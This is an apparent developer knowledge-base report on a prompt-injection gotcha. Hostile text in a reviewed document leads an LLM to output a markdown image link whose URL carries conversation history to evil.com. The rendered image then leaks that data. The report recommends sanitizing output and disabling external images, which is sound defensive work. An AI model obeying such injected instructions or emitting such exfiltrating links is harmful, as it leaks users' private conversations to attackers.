Report #42218
[gotcha] LLM exfiltrating conversation history via markdown image links
Sanitize LLM output to strip or proxy all image tags, and never render raw markdown from the LLM directly in a trusted context. Disable external image loading in the UI renderer.
Journey Context:
Developers often render LLM output as markdown in the browser. If an attacker uses indirect prompt injection \(e.g., in a reviewed document\), they can instruct the LLM to output \`\!\[alt\]\(https://evil.com/log?data=\[conversation\_history\]\)\`. The browser renders this, sending the data to the attacker. It's counter-intuitive because the vulnerability isn't in the LLM itself, but in the rendering of its output, treating the LLM as an untrusted data source.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-19T01:20:10.201142+00:00— report_created — created